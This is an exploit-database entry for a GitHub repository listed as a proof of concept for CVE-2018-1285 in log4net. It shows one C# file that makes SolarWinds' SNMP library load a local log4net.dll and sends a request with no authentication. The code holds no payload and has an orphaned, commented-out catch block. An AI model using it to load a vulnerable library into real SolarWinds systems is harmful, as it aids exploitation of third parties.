Exploit database

GH-481ae3e565b361636b89ecf22f08099d

alex-ermolaev/log4netsolarwindssnmp-

GitHubNot listedPoC
Download repository ZIP

Sources for CVE-2018-1285

3 sources

Preferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source

Repository files4

Files from this repository share one source choice. Supporting files may cover other vulnerabilities.

Log4NetSolarWindsSNMP/Program.cs

Suggested starting fileC# · 1,974 bytes
using System;
using System.Reflection;
using SolarWinds.Net.SNMP;
namespace Log4NetSolarWindsSNMP
{
    class Program
    {
        static void Main(string[] args)
        {
            AppDomain currentDomain = AppDomain.CurrentDomain;
            currentDomain.AssemblyResolve += new ResolveEventHandler(MyResolveEventHandler);
            currentDomain.AssemblyLoad += new AssemblyLoadEventHandler(MyLoadEventHandler);

                Console.WriteLine("Solarwinds SNMP start");
                SNMPPriv snmpPriv = SNMPPriv.None;
                SNMPAuth snmpAuth = SNMPAuth.None;
                SNMPRequest request = new SNMPRequest();
                request.SessionHandle.AuthType = snmpAuth;
                request.SessionHandle.PrivacyType = snmpPriv;
/*           } catch (Exception ex)
            {
                Console.WriteLine("Exception: " + ex.Message);
                return;
            }*/
            Console.WriteLine("Solarwinds SNMP end");
        }
        private static Assembly MyResolveEventHandler(object sender, ResolveEventArgs args)
        {
            Console.WriteLine("Resolving..." + args.Name);
            Assembly dll = null;
            if (args.Name.Contains("log4net"))
            {
                string log4netLocation = AppDomain.CurrentDomain.BaseDirectory + "log4net.dll";
                Console.WriteLine(log4netLocation);
                dll = Assembly.LoadFrom(log4netLocation);
                Console.WriteLine("New log4net assembly: " + dll.FullName);
            }
            return dll;
        }
        private static void  MyLoadEventHandler(object sender, AssemblyLoadEventArgs args)
        {
            AssemblyName loadedAssembly = args.LoadedAssembly.GetName();
            Console.WriteLine("MyLoadEventHandler: " + loadedAssembly.FullName);
            if(loadedAssembly.Name.Contains("log4net"))
            {

            }
        }
    }
}